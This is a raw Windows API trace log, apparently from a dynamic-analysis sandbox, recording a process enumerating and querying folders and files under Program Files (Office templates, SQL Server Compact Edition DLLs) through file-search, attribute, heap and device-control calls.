lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ed1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="UrbanResume.Dotx", cAlternateFileName="")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d4c00, ftCreationTime.dwHighDateTime=0x1c6d972, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x29d4c00, ftLastWriteTime.dwHighDateTime=0x1c6d972, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d4c00, ftCreationTime.dwHighDateTime=0x1c6d972, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x29d4c00, ftLastWriteTime.dwHighDateTime=0x1c6d972, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="")) returned 0 [0079.960] GetLastError () returned 0x12 [0079.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0079.960] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0079.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0079.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="")) returned 1 [0079.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0079.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0079.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0079.961] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.961] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.961] NtClose (Handle=0x124) returned 0x0 [0079.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0079.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123af18 [0079.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0079.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b020 [0079.962] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0079.962] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.962] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0079.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0079.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0079.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0079.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0079.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0079.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b128 [0079.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3eb0 [0079.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b860 [0079.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0079.964] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 0 [0079.964] GetLastError () returned 0x12 [0079.964] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0079.964] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0079.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0079.964] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 0 [0079.964] GetLastError () returned 0x12 [0079.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b020) returned 1 [0079.964] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123b128) returned 1 [0079.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123af18) returned 1 [0079.965] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="")) returned 0 [0079.965] GetLastError () returned 0x12 [0079.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.965] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0079.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0079.965] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 0 [0079.965] GetLastError () returned 0x12 [0079.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0079.966] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0079.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0079.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0079.966] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9f960f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f960f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="")) returned 1 [0079.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0079.966] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9f960f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f960f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0079.966] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0079.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.967] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0079.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.967] NtClose (Handle=0x16c) returned 0x0 [0079.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0079.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0079.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0079.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0079.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0079.968] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9f960f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f960f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.968] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa6920b0, ftCreationTime.dwHighDateTime=0x1d5751f, ftLastAccessTime.dwLowDateTime=0x3ee91f20, ftLastAccessTime.dwHighDateTime=0x1d54df1, ftLastWriteTime.dwLowDateTime=0x3ee91f20, ftLastWriteTime.dwHighDateTime=0x1d54df1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="patch-mit.exe", cAlternateFileName="")) returned 1 [0079.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.968] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0079.968] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0079.969] GetLastError () returned 0x12 [0079.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9040 [0079.969] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0079.969] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9f960f90, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f960f90, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.969] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa6920b0, ftCreationTime.dwHighDateTime=0x1d5751f, ftLastAccessTime.dwLowDateTime=0x3ee91f20, ftLastAccessTime.dwHighDateTime=0x1d54df1, ftLastWriteTime.dwLowDateTime=0x3ee91f20, ftLastWriteTime.dwHighDateTime=0x1d54df1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="patch-mit.exe", cAlternateFileName="")) returned 1 [0079.969] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0079.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.969] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0079.969] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0079.969] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.970] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0079.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.970] NtClose (Handle=0x16c) returned 0x0 [0079.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0079.971] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0079.974] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.974] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0079.974] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="")) returned 1 [0079.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.975] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="")) returned 1 [0079.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.976] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="")) returned 1 [0079.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 